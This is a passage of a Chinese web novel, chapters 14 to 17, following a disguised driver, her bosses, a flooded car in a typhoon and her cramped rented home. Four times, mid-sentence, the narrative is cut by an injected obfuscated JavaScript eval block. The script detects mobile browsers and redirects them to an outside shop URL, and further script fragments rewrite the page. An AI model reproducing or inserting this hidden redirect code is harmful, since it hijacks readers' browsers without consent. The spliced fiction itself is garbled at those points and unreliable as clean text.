陆小萍正咽着口水懊悔,却听见祁分珩说:“徐总……你去帮她买包卫生巾来,还有……”他补了句,“看看有没有新的女士内裤和外面穿的裤子。” - 景区里面是没有生活超市的,停车场附近也没有。陆小萍开车到外面买了东西,将车停好,拎着一包东西往湖边走。祁分珩和杨宗明等在一家咖啡店门口,见陆小萍过来,对她说:“徐总在里面卫生间,你快送过去吧。” 陆小萍走进卫生间,扬声问:“徐总?” 最里面一格有了回答。陆小萍敲门,徐莹打开门板。她有些尴尬地坐在马桶上,见到陆小萍赧然道:“真是不好意思。我其实大姨妈刚走,不知道怎么今天忽然回潮了。幸好有你在。” 陆小萍道:“客气了,徐总。” 徐莹接过袋子,陆小萍道:“里面还有一次性的棉内裤和我的一条裤子。超市里没有新裤子卖,我平日有一条放车上备用,你要是不嫌弃可以应急穿穿。” 徐莹喜道:“那真是太好了,我裙上也沾了一点血,本来想在卫生间搓掉,你这条裤子真是救了我的命。” 陆小萍说:“您太客气了。我先出去等您。” - 陆小萍走出卫生间,见祁分珩和杨宗明坐到了咖啡店靠窗的卡座上。杨宗明也看到了陆小萍,向她招手:“小陆师傅,我们正在点喝的,你要喝点什么?” 祁分珩从菜单中抬起头,看着她。 陆小萍摆摆手:“不用了。” 杨宗明道:“除了咖啡,饮料果汁,你过来看看。” 相比坐在空调室里喝饮料,陆小萍还是愿意去炎热的树林里当个隐形人。她后退压低声音:“杨总您太客气,我车里有茶。” 杨宗明说:“是你太客气,说过多少次了,还‘您’啊‘您’的。” 陆小萍笑了笑,也不争辩。少说话、少接触,才不会露出马脚。她正要离开,听见祁分珩问:“徐莹总还好吧?” 陆小萍颔首,“嗯”了一声。 正说着,徐莹穿着陆小萍的裤子出来了。 她和陆小萍身形差不多,本来上面穿了一件白色荷叶边的短袖,下面穿了一条泛着贝壳光泽的长裙,现在换上陆小萍的浅灰色休闲长裤,这一套倒也不觉得违和。 身未至前,声先到了。 徐莹走过来亲热地搭着陆小萍的肩,笑道:“真是不好意思。谢谢两位大帅哥,谢谢小陆师傅,解了我燃眉之急。” 祁分珩道:“没事就好。”目光却不自觉盯着她的裤子看,眉头微皱。徐莹道:“这是小陆师傅的裤子,我穿上刚刚好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059532|194994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆小萍只能开口解释:“外面超市没新裤子卖。其他的都是新买的。”说完这话,她忽然察觉到祁分珩目光里的疑问,心里大叫一声,暗骂糟糕糟糕。 这条裤子是她高中校服的裤子。 高二那年,她爸顾岭的晴华纺织厂生意如日中天,学校要做校服,顾岭二话不说直接成本价做了这单生意。因为是给闺女学校做服装,这批料子用了厂里最好的高支数涤棉混纺面料,料子清新透气又挺括耐磨。后来世事变迁,陆小萍在搬家的箱底意外翻出了这条裤子,经过了这么多年,裤型没有松懈变形,膝盖处不见鼓包,只略微褪出一种温和的旧时光的质感,反而更显柔软。这或许是老天爷暗地里留给她家的一点念想,于是她把这条裤子留了下来,放进车里的备用包里,以备不时之需。 祁分珩盯着裤子看的时候,陆小萍才猛然记起这条裤子右腿口袋前印有实验中学的校徽,但因洗过太多遍了,校徽已经淡去,只剩一个朦胧的圆圈模样。 她侥幸地想,祁分珩是高三来的学校,他没这套校服,她也没穿过几次,再说裤子上那校徽模样也淡了,这么多年过去,谁还会将这二者对上号。 不过,想到今天已是第二次在穿帮的边缘反复横跳,她的后背不禁又湿了一遍。 好在徐莹善解人意,看出陆小萍的窘迫,说道:“这裤子很合适,不长不短,穿上还很舒服。” 祁分珩点点头。他倒不是觉得旧的裤子不好,只是第一眼见这裤子觉得有些奇怪,又察觉不出哪里奇怪。 而徐莹从陆小萍和祁分珩的对话中品味出一些细节:原来卫生巾、内裤和长裤都是祁分珩的吩咐,心中不由一暖,又暗叹祁分珩这么心细,好感不禁又加了一分。想想这应该也是之前女朋友在他身上留下的印记,如果没经历过女人,男人是不会知道女人忽然来了月经,不光是需要卫生巾,还要备齐内裤和外裤。 她试探般地打趣道:“分珩好周到,你女朋友一定很幸福。” 祁分珩笑笑不语,杨宗明道:“分珩哪有女朋友,我们公司是和尚庙,男性都单身。” 徐莹摇头:“我不信。” 杨宗明道:“这有什么好不信的。” “为什么呀?” “是啊,为什么呀,你问问他?”杨宗明示意祁分珩。 徐莹略微惊讶,随后了然笑道:“你俩肯定不缺桃花,都是眼光太高。我今天算是前人栽树后人乘凉?看分珩这么暖,有点替你的前女友可惜,如果她现在站在你面前,会不会肠子都悔青。” 陆小萍悄然瞄了眼徐莹,又看向祁分珩。她想她应该表现得无动于衷,但内心里好死不死很想听到祁分珩的回应。 祁分珩装没听懂徐莹的言外之意,没有接话,只笑了笑,见陆小萍站在一旁仍是从外面匆忙赶来的状态,目光也从车上不客气的打量变得软了些。 他说:“谢谢你,陆师傅。”他打量她的冰袖、口罩和墨镜,又问道,“你不热吗?在室内也要防紫外线?” 热的,当然很热的,陆小萍这样装扮地从停车场走到咖啡店,背已经湿透。但是她不能摘,她只能煎熬地忍着。要是真摘了口罩墨镜,她不知道是不是要在和祁分珩的大眼瞪小眼中,表演一个肠子悔青? 她微微退了两步,做出一副社恐的样子,对三人说:“我手机在车上充电,我先回去了。” 而走出店门没几步,她就意识到,她有点自作多情。 她哪里来的信心就这么笃定,祁分珩的前女友就只有一个? 14. 那行,我送你。 晚上八点多收工回家,陆小萍煮了碗清水面,张涛叫她出去吃水果。陆小萍一看,他洗好了一盆油桃,便取了一颗咬一口,桃子很新鲜,又香又脆。 张涛问她今天跑车如何,陆小萍简单说了两句,不欲多言,岔开话题问张涛:“这桃哪来的?” 张涛说:“有一对游客模样的年轻人来买雪糕,走时候落店里了。” 陆小萍一愣,嘴里停了片刻咀嚼,笑笑,三两下将这桃子啃完。 把桃核扔进垃圾桶,她说:“我不打算包车了。” 张涛惊道:“为什么?包车……不是很划算吗?” 陆小萍拿起第二个桃子吃。 “怎么了?今天出什么事了?老板欺负你了?” “那倒没有,”陆小萍说,“就是我自己不想跑了。”她编了个理由,“现在我开的是老板的奔驰,我怕哪天给他蹭了,得不偿失。” 张涛不知道这几天她换车的事,问:“那你的那辆呢?” “停在他们公司园区里的。” “我不明白了,他们有车还包车?那为什么又要换车?” “这么说吧,我其实有两个老板,大老板和二老板,”陆小萍想了想,简单解释,“两个老板自己都有车,只是大老板的车被人撞了,送去修,所以二老板给他找个包车,找到了我。二老板的车就是那辆奔驰,现在给大老板开,我开那辆比亚迪一般是给二老板当司机。” 张涛似懂非懂:“那这几天为什么你又换开奔驰了?” 陆小萍轻轻一笑:“因为这几天有重要客人来,老板陪吃陪玩儿,总得撑一下面子,开比亚迪不合适吧。” 张涛不以为意:“客人走了,你不就能开自己的了?” 陆小萍语塞。 张涛平日里都挺傻,这会儿却逻辑缜密。 张涛又说:“500块一天呢,你现在天天七八点就能回来,比之前都轻松,这钱傻子才不赚。” 陆小萍又语塞。 你才傻子。 张涛见陆小萍闭口不言,忽然突发奇想:“我知道了!现在夏天,你老板是不是体味很重?” 陆小萍张开嘴,露出半口果肉:“啊?” “狐臭,是不是?”张涛露出了然大悟的神情,“是了,肯定是。我抽过烟去你车里呼吸几口你都受不了,要真有狐臭,这开着空调的封闭空间……唉,是有点难为你……” 陆小萍哭笑不得,他是怎么想出来这个理由的,如此顺理成章又合情合理。 张涛好生劝慰道:“忍一忍吧,等过几天没这么热了,不用开空调就好了。看在钱的面子上,咱忍一忍。” 陆小萍默不作声,啃了口桃子,心想,再忍一忍吧,忍到徐莹离开。 - 天气预报说今年的高温是有一股名叫“苏苏”的台风在靠近。台风是热带低压系统,其中心气压低,就像一个巨大的锅盖罩在地面,所以地面酷暑难耐。要把这个锅盖揭开,木安市还要经历一串大幅度的降雨。 徐莹离开的当天,木安市酝酿雷暴大雨。中午徐莹和木安市的另外一位朋友吃过午饭,陆小萍将她送到机场。车上徐莹收到飞机延误40分钟的信息,起初都以为飞不了了,她忧愁地和陆小萍说明天一早滨州有个活动,今天回不去就麻烦了。幸好到机场后还是飞了,而她刚飞走,木安市就下起了倾盆大雨。 老话说大雨留人,现在科技发达,大雨也留不住。 在回去的路上,陆小萍想,等下交了车就和杨宗明说她明天不跑了。 祁分珩一早坐高铁去了别的城市,她只需要和杨宗明说明情况,这件事也算好聚好散。在祁分珩眼皮子下开车,即便是他不常坐她的比亚迪,即便是她“紫外线过敏”全副武装,这事儿的风险系数还是太高。 如果被认出来,她难以想象那种让人会窒息的场景,她也不想面对此情此景中的祁分珩。 阔别七年,她知道他过得不错。 而他不需要知道她现在如何。 - 回程路上,天好像漏了一般,豆大的雨滴往下砸。 陆小萍把雨刮开到了最大,前后的车辆也打开了双闪。到了市区,交通一塌糊涂,靠近通乐园区的干道排起了长龙。 雨越下越大,路面开始积水,陆小萍心里涌起不好的预感,车辆走走停停,在进园区800米的地方路面彻底罢工了。有人撑伞下去一探究竟,陆小萍降下车窗想看看,未想只降了半截雨水就劈头盖脸地打进来,瞬间湿了她半个肩头。 她立马将车窗升上去,零星听到前面有人说大风把行道树刮倒了,现在几个司机正在合力搬树。 她只好无聊地听着收音机,听广播里播报橙色预警天气,政府让广大市民没事不要外出。张涛和她发信息,说今天烟酒没卖多少,伞倒是一销而空。陆小萍问他卖多少。他说不贵,就30。陆小萍笑他黑心商人,那伞进价才8块。他问陆小萍什么时候能回。陆小萍说马上到园区,换了车就回。 张涛又说,你今天包车挺轻松吧。 陆小萍知道他想说什么,回:等下回去就和老板提了。 对方显示正在输入,前面的车忽然有了动静,陆小萍忙放下手机点火起步。而就在这一刹那,车子燃点了一瞬间便再也打不着了。 她心里咯噔一声,心想,完了完了,这下好了,这奔驰车,进水了。 它走不了了。 她也走不了了。 大雨到底还是留人了——把她留下了。 - 杨宗明支着一把被吹得横七竖八的伞,顶着凄风苦雨找到了他那辆倒霉的奔驰。此时陆小萍站在高一点的花台上,她没打伞了,因为她全身已经湿透,没有再打伞的必要。前后五六辆车都停在了水中间,水深已经漫过了车门底部。杨宗明打了保险公司的电话,对方说已经在赶来的路上。 杨宗明把歪斜的伞匀了一些给陆小萍,观察了一会儿情况,叹气说:“走吧。” 陆小萍仰起脸,雨水顺着她的脸颊往下滑:“不等保险公司的人来吗?” “那还得好一阵呢,”杨宗明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059533|194994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指着远处,“市政疏通的车也堵在进来的路口,拖车还堵在他们后面。” 陆小萍抹了一把脸,很是抱歉地说:“对不起,杨总。” 杨宗明能说什么呢? 眼前这个瘦弱的女生在台风天里被淋成了落汤鸡,虽然他也很心疼车,但责备的话他说不出口——老天要刮风下雨,也不能怪她。 他又叹一口气,说:“走吧,别在这儿傻站着了,要是高空坠物很危险。” - 他们淌水走到路口,果然遇到了保险公司的人。杨宗明把车钥匙给他们,交代了几句离开。这一片的公交也停了,只有地铁还在运营,两人走了一千多米到地铁站。 一路上陆小萍抱着胳膊,拿脑袋当伞,眯着眼睛紧跟杨宗明的步伐。雨滴打在脸上生疼,他们没法说话。进了地铁站,两人同时松了口气。 杨宗明问陆小萍坐几号线。陆小萍看了看标识,说3号线,过去就一站;杨宗明也是这条,不过要远很多。 陆小萍抿了抿唇,开口又和杨宗明道歉,然后问车的事儿。 地铁站内灯光明亮,杨宗明这才发现陆小萍一脸菜色、嘴唇发白,像是有些冷。她脸上写着不安,似乎很担心车坏得厉害,要花很多钱。 以及,她是不是要赔钱。 这心情杨宗明理解,他不知道车到底坏到什么程度,只说买了保险,问题不大。 陆小萍又抿了抿唇。 衣服湿漉漉地贴在她身上,陆小萍打了个喷嚏。 杨宗明问她:“你还好吧?” 陆小萍擦掉鼻涕:“没事。” 杨宗明道:“回去喝点姜汤,去去寒。” 陆小萍笑了笑:“谢谢杨总,您……你也是。” 她又打了个喷嚏,脸色惨白,这一笑可谓“惨然”。 杨宗明动了恻隐之心。其实陆小萍的五官生得很好,只是她不爱打扮,此刻被大雨从头到脚浇了个透,倒隐隐凸显出她的身段来。 杨宗明有点怜香惜玉地问:“你家就你一个人吗?” 陆小萍道:“没,我和我爸住。” 杨宗明说:“那还好,有个照应。” 陆小萍抹掉头发上滴下来的水。 “你爸退休了吗?” “……退了。” “一般都在家?” “……嗯。” “女儿出来跑车这么辛苦,你爸不心疼?”杨宗明开玩笑地问。 有信息来,陆小萍低头看手机,没有回答。 杨宗明记得她住甜水巷,最近的地铁口出来还得走个几百米,于是他把伞递给陆小萍:“这个给你。” 陆小萍抬起头,推辞道:“不用不用,我不用。” 杨宗明说:“我家地库连着地铁站,我不用出地面,用不着伞。” 陆小萍还是推辞,杨宗明觉得眼前这人不但客气,还有些犟。他不再勉强,把伞收回手里,也不知为何,他忽然很想去陆小萍生活的地方看看。 于是他说:“那行吧,我送你。” 15. 陆小萍叹一口气。 外面雨棚在漏水。张涛找个桶去接着,回来看到陆小萍在二十分钟前回了一个表情,是完蛋的表情。 他正想信息问她怎么了,外面由远及近,风雨中过来两个打着歪伞的人。 再定睛一看,正是陆小萍和一位陌生的年轻男人。 陆小萍掀了帘子进来,张涛惊讶不已:“你怎么淋成了这个样子?怎么搞的?你车呢?” 陆小萍说:“道路积水,车在水里熄火了,”她指了指身边那位男人,“这是我老板,杨总,就是他那天晚上找的你。” 张涛不太明白此刻怎么回事,那晚太黑,他也不记得对方长什么样了,只干笑地“哦”了声。杨宗明看上去比陆小萍好一些,膝盖下和右边上衣湿透了,不像陆小萍浑身像从被水里捞起来。 陆小萍对杨宗明说:“这位是张涛,是我的房东。”她搬了一个椅子过来,“店里比较简陋,杨总您将就坐一下,我去里面拿两条干净的毛巾。” 说完她便进屋了,留下杨宗明和张涛二人。 杨宗明打量室内陈设,这应该是一个三居室,原来临街的窗改成了进出的门,导致室内采光不足,此刻雨天尤为昏暗。屋顶有些发黄,墙皮被湿润的空气泡得发胀,脱落了好几块。门口的摊位放了一条玻璃柜和一个冰柜。柜子后面有一把竹藤编的座椅,上面垫了一块黑色的坐垫——张涛平日里就翘着脚窝在座椅里看短剧。 杨宗明对张涛笑了笑,张涛也对他笑:“杨总好。”又说,“今天好大雨。” 杨宗明说:“是啊,台风天。” 张涛:“台风天没生意,只有伞好卖。” 杨宗明笑道:“那的确是。” 陆小萍很快从里面出来,她换了一身干净的衣服,拿了一条崭新的浴巾给杨宗明,自己头上顶着平日里的毛巾,给杨宗明倒了一杯热茶。 “杨总先喝点热水,”陆小萍说,“厨房正在煮姜汤。” 杨宗明接过茶水,道了声“谢谢”。 三人陷入短暂的沉默。 杨宗明想来看的一切此刻已经看到了。他想过陆小萍的出租房比较简单,可能是像地产商搞的长租公寓的那样,简单装修、简单家具,但好歹是二十一世纪的产物;没想到他所见之景如此简陋破旧,像是一脚踏进了八十年代。 陆小萍好似并没觉得有什么,坦荡大方地展现给他看。 他潦草地找了个话题:“之前你说你和你朋友一起跑车,就是你房东?” 陆小萍点头说:“是的,一般我跑白天,他跑晚上。” 杨宗明道:“那你和你房东关系还挺好,都可以合伙做生意。” 陆小萍慢慢擦头发,说:“可能大家年龄差不多。谋生而已。” “你们这里几间房?”杨宗明往里看,视线被一道布帘遮住。陆小萍从这道布帘里进出,他大概能猜到,这布帘后面的条件好不到哪里去。 “三间房,我一间,他一间,还有一位女性租客。”陆小萍道,“老房子没什么条件,楼层低还返潮,杨总见笑。” 杨宗明却问:“那你爸呢?” 陆小萍顿了顿,说:“我的那间比较大,我爸和我一起住。” 杨宗明微微一愣,对这个答案有些意外。 女大避父,陆小萍现在还和他爸住同一间? 张涛想解释两句,陆小萍对他说:“厨房的水是不是开了?”她眼神将他支走,张涛挠了挠头,去了。 路过房间,顾岭在床上睡觉。张涛关了火,端了两碗姜汤出来。 室内没有多余的空间放椅子,张涛把碗放到柜面上,将藤椅推过来,对陆小萍说:“你坐。” 陆小萍说:“不用,你坐吧。” 张涛说:“你坐嘛,坐着喝。” 陆小萍不理他,正要端碗,杨宗明站起来:“要不坐我的吧。” 话音刚落,有人将布帘一捞,阿倩穿着一件吊带走进来:“不坐让我坐,吵死了,”瞧见杨宗明,一顿,眼睛放光,笑道,“哟,家里来客人了。” - 杨宗明一走,阿倩就凑过来,问陆小萍:“那人真是你老板?” 陆小萍刷碗:“是的。” “听张涛说,他开大奔的?” 陆小萍把碗沥到铁架上:“你今天怎么没上班?” “白天我休息啊。”阿倩用食指戳她脑袋,“你老板多大年纪?” 陆小萍说:“这我不知道。” “看上去很年轻,也蛮帅的……”阿倩“啧啧”两声,“这么大风大雨的把你送回来,是不是有点意思?妹妹,你有他微信吗,推给我。” 陆小萍抬起头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059534|194994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,眼里有些意味深长:“推你干嘛?” “你以为我要干嘛?”一条肩带从她肩膀上滑落,她也不管,“你的人,我不会动的。张涛说是在夜总会接到的他,那么好了,可以做生意咯。以后不要去别的店了,他来我们店,我给他打折。” 听闻这话,陆小萍微微有些失神。之前听张涛说在夜总会接到杨宗明,陆小萍并没觉得有什么,请客吃饭商业应酬很正常,但此刻她却想到,杨宗明会去,那么祁分珩会去吗? 张涛撩了帘子进来,问:“等会你还出车么?” 陆小萍回神,看了眼外面的天:“我不知道。如果晚上不下雨了,我去把停在产业园里的车开回来。” “你们杨老板不用车了?” “用车他会给我发消息的。” “他是二老板,那你们大老板呢?” “大老板一早动车就去外地了。” “他们做什么的?赚钱不?”张涛靠在门框上嗑瓜子。 陆小萍甩了甩手上的水滴:“我之前以为他们做机器人,好像又不是,可能是相关的材料研发。我也不太懂。”她在擦手帕上抹了两下,“应该是赚钱的,不过没到那个地步,现在还在筹钱。” 张涛听了个似懂非懂,把瓜子儿往嘴里一抛,看似无意地问道:“他跟你来出租屋我还挺意外的,这里有什么好看的?你们老板很体恤民情吗?” 陆小萍说:“伞只有一把,他说给我,他是老板,我没要,结果他就说送我回来。他来看看也挺好,不然我怎么和他哭穷?刚刚听他接电话,说是他车里的发动机坏了,可能要换缸。让他来看了便知道我是真的穷,别找我要钱。” 张涛哈哈一笑,他本还对杨宗明的到来有些警惕和介怀,听陆小萍这么一说,心头疑云散去。他把手里攒的瓜子仁给陆小萍,阿倩从他面前走过,手一伸就截了胡,对张涛道:“你笑起来的样子可比刚才那位杨总差远了。” 张涛登时闭了嘴,阿倩大笑而去。 张涛骂道:“你怎么吃人家的还嘴硬?” 阿倩不理他。 张涛回头对陆小萍说:“要说有心计还得是你。看杨总那样子,不像斤斤计较的人。”顿了下,又试探性地说,“不过,你现在是不是一时半会还走不了了?” 陆小萍叹一口气。 16. 她瞬间冰冻。 祁分珩在下午活动结束后和杨宗明通了电话。因暴雨天气,杨宗明从陆小萍那出来后直接回了家,祁分珩电话打来时候,他刚冲了一个热水澡。 “怎么样,今天还顺利吗?”杨宗明问。 “顺利,”祁分珩打开酒店房间门,将电脑包放到柜子上。临窗有一个单人座椅,他脱了鞋,将脚搭在前面的矮凳,“碰到一位校友,比我高三级,之前也做过材料研发的创业,现在完全转行,你猜她做什么?” “做什么?” “美甲。” “什么东西?” 祁分珩在电话那头笑了起来:“对,美甲,就是女孩子的指甲。她给我讲了整个转型过程,很有意思。” 杨宗明擦着头发,将手机开了免提放在茶几上:“材料研发去做美甲?这跨度是不是有点大?” “一开始我也这么想,但听她说完就觉得合情合理了。”祁分珩的声音透过听筒传来,“她当初做材料创业时研发过一种新型环保树脂,强度高、重量轻、可塑性极强,本来是想用于电子产品外壳的。” “然后呢?”杨宗明倒了杯热水。 “那次创业没成功,团队解散后她在家休息了几个月。有天陪妹妹去做美甲,发现现有甲片材质存在很多问题——厚重不透气、容易断裂、佩戴不适、胶水伤害指甲。她突然意识到,自己研发的那种树脂材料完美契合美甲需求。” “所以她就转行做美甲了?” “不只是做美甲,”祁分珩也开了免提,将校友企业的微信公众号推给杨宗明,“她重新调整了材料配方,做出了超薄透气、韧性极强且无需胶水就能贴合指甲的甲片。最重要的是,她的材料可完全回收降解,解决了传统美甲行业的环保问题。我发你了,你看看。” “四月之天。”杨宗明打开公众号。 “她的商业模式很聪明。她不开美甲店,而是创建了一个设计师平台,让独立设计师上传他们的甲片设计,用户可以直接下单购买,由她的工厂生产配送。” “所以她本质上还是个材料供应商?” “不止,她掌控核心材料和生产环节,建立了一个完整生态。设计师赚取设计费,用户获得个性化高质量产品,而她每单都抽成。现在平台上有两千多名设计师,月销售额突破三百万。” 杨宗明微微眯起眼睛:“还是女人的钱好赚。” 祁分珩笑道:“因为增长太快需要融资扩大产能。今天活动结束后,几个投资人都围着她转。而且她们的口号也很巧妙。你知道最打动投资人的是什么吗?” “什么?” “她说,‘我不是在做美甲,我在解决现代女性的个性化表达需求。每个指甲盖都是0.5平方厘米的广告位,是移动的自我宣言。’这话一出,投资人眼睛都亮了。” 杨宗明也跟着笑:“你们学校的人都这么会说啊。” 这时,一条微信跳进来,是徐莹在他们三个人的群里留言: “我平安到家。感谢分珩和宗明在木安市的盛情款待。期待下次见面,欢迎来滨州参观朝阳橡胶!” 杨宗明说:“徐莹落地了。” 祁分珩“嗯”了声,在群里回:平安就好。 杨宗明在电话里批评他:“你回得好官方。” 祁分珩问:“哪里不合适吗?” “很合适,就是太合适了。”杨宗明喝两口水,若有所思地说,“你学姐那个案例挺启发我,有时候创业成功不是坚持原有方向,而是灵活转向应用场景。你说对不对?” 祁分珩听出他话里有话:“你想说什么?” 杨宗明道:“你下周是不是要去滨州见天阳集团?有没有可能,我们先和朝阳橡胶也接触接触?” 两人认识已经五年,祁分珩一听杨宗明这话便知道他想说什么。他默了下,道:“朝阳橡胶我去参观过,他们有强大的研发团队,相比之下,我们技术力量没什么优势,人家为什么要和你合作?” 杨宗明却道:“分珩,这不像你的性格,你可是有百分之一的希望就会拼百分之一百二努力的人。商机都是谈出来的,这话还是你和我说的。而且,夏颖颖之前在学校就研究过橡胶,虽然后面改方向了,但是我们还是有科研基础的。我知道这不是我们的主攻方向,但是现在我们账上的钱不多了,我们需要拉到投资,现在是广撒网阶段,谁知道哪个机会便成了呢。” 不等祁分珩说话,杨宗明又道:“到时候我陪你一起去。你想想,天阳集团引荐的人是谁?是任瑶。任瑶是谁?是任天阳已故兄弟的女儿,是他的侄女。但朝阳橡胶的引荐人是谁?是徐莹,是徐大胜的亲生女儿。这两层关系还是不一样的。” 祁分珩当然懂得这其中道理,沉吟片刻,只说:“颖颖还没回来,先要问问她的意思。” 杨宗明道:“这还不简单,等会——算了,明天吧,明天和她拉个视频会议,我先给她留言。” 祁分珩不置可否,又问:“你车怎么样,严重吗?” 杨宗明道:“要换缸,保险说换2个就行,4S店非要整体换4个。我洗澡前看他们还在群里扯皮呢。你说有没有‘克车’这一说,前脚你的车被人撞,后脚我的车就被水淹。” 祁分珩说:“你的车是陆师傅在开吗?水淹得深不深,她人有没有事?” 杨宗明道:“是她在开。人没事,水没多深,过了一点车门底,水是从管子进去的。对了,明天你几点到车站,我让她来接你。” “我晚点看下车票。这会儿主办方在群里说吃饭了,先挂了。” - 晚上九点多,雨暂时停了,通乐园区那边的路也疏通了,陆小萍去园区把她的比亚迪开了回来。 杨宗明奔驰E的最后博弈结果是:保险拗不过4S店,换了四个缸,预计要等一个月。杨宗明把这个结果告诉了陆小萍,陆小萍在微信里一再表示歉意。杨宗明说没事,他买的保险有涉水险,他们都不用付钱。陆小萍想表示些什么,又自觉她和杨宗明之间差别太大,她顶多能送点水果蔬菜,而他也不会稀罕这些,她除了说“抱歉”和“谢谢”,也做不了什么。 杨宗明把祁分珩的动车时间发给她,让她明天上午直接去火车站接祁总。 陆小萍回:好的。 - 翌日,陆小萍早上出车,天下着中雨。7点20她抵达火车站停车场,给祁分珩发信息,说她停在E区。 不一会儿,她还低头看着手机,忽然,她的副驾驶门被人拉开,车身微微下沉,祁分珩坐了进来。 地库是潮热的,还有呛人的尾气,而此刻陆小萍却被如坠冰窖,而且是被人点了穴的那种—— 祁分珩坐在她旁边,很近,关门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059535|194994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一瞬间,车门把他的气息扫了进来。 祁分珩一般都是坐后面的,今天陡然坐了副驾,陆小萍始料不及。她的目光慢慢右转,僵硬地看过去,祁分珩丝毫未觉,低头系好安全带,自然而然地说:“早啊,陆师傅。今天辛苦你起个大早。” 其实祁分珩起得更早,按照时间推算,他应该6点就要达到火车站。 陆小萍调整呼吸,发动汽车,说道:“没有。”片刻后,“祁总,我们是去公司?” 祁分珩听闻声音一愣:“你怎么了?嗓子哑了?” 陆小萍说:“昨天淋了雨,扁桃……”她指了指自己的喉咙,祁分珩懂了,说道:“宗明说昨天车坏了,你也淋了雨,严重吗?有没有发烧?” 陆小萍摇头:“没有。”她淡淡笑了笑,但口罩下的笑容,不太明显。 今天的天气不支持她戴墨镜,于是她戴着粗框的大眼镜,头上戴了一顶宽檐的防晒帽。她不敢和祁分珩有过多眼神对视,把话题扯回来:“去公司?” 祁分珩说:“先回趟家,金澄路的润发小区,我换身衣服。” 车辆转几个弯,驶出地库。 天气阴沉,雨水一阵大一阵小的打在挡风玻璃上。或许是因为感冒,陆小萍觉得昏昏欲睡。她调大了收音机,听见新闻说这样的雨水天气要持续到周末。 祁分珩上车后一直低头处理手机信息,他知道陆小萍不是一个健谈的人,也没再开启新话题。 中途等红绿灯,祁分珩接到一个电话。 “喂,妈。”他说。 陆小萍一愣,竖起了耳朵。 ——“哎,我给忘了!抱歉抱歉,妈,我换密码锁了,等下把数字发给您。”祁分珩拍拍脑袋。 ——“我昨天出差,没在家。不过马上也快到了,”他看了眼陆小萍支起的手机导航,“还有20分钟。今天下雨,您怎么过来的?” 对方说了几句,祁分珩说:“知道。好。我马上就到家了,您先进去吧。” 祁分珩收了线,把一串数字发过去。绿灯亮,陆小萍起步,汽车重新汇入车流。 是祁分珩的妈妈。 雨天,路上总是拥堵。走走停停间,陆小萍想起她见过祁分珩的妈妈一次,依稀记得她姓李,李什么来着? 好像叫李莲。 那天也是个雨天,濛濛细雨。在一大帮推推搡搡的人群中,陆小萍听见有人说“我是祁勇的家属”。对方问:你是他什么人。 来人道:我是他妻子。 陆小萍心头一紧,隔着雨帘看去,有个四十多岁、皮肤白皙的女人站在登记的桌子前。人群拥挤,没有人打伞,她的头发被打湿了,紧贴着头皮,嘴唇紧抿。 陆小萍想挤过去和祁分珩的妈妈说几句,没走两步,忽然人群暴动。闹事的人呼天抢地,她挤不过去。有人一把拉住了她的手,一回头,是她妈妈陆芳华。 陆芳华一把将她拽出人群,狠狠说了她:“你来凑什么热闹!”勒令她回到办公室,然后路芳华一人走向了人群。 办公室是单廊的,她在走廊里遇到了匆匆赶来的徐国良——晴华纺织厂的副厂长,她爸顾岭的左肩右膀。她叫住他,和他说她妈过去了。徐国良点点头,让她回室内呆好。陆小萍忧心忡忡地看着徐国良离去的背影,走廊的窗户外,人群混乱,她找不到李莲的身影。 17. 是我爸的忌日。 祁分珩到家,李莲正好煮了加荷包蛋的酒酿圆子。祁分珩一边拖鞋一边说:“妈,您来这么早。” 李莲熄了火,端着一大碗走出厨房:“我给你说了你又没记住,我今天8点的动车来木安啊。”又问,“你这是去哪里出差了,怎么一大早回来?” “本来昨晚就要回来的,昨晚木安风雨太大,就改了今天早上回来。” “还没吃饭吧,先来吃点东西。” 祁分珩去卫生间洗了手,出来桌面上还多了几个包子,味道闻着很像老家巷子口的那家。李莲瞧见他模样,笑道:“老刘家的,早上刚蒸的。” 祁分珩捡了一口喂到嘴里:“很久没吃了,好吃。” 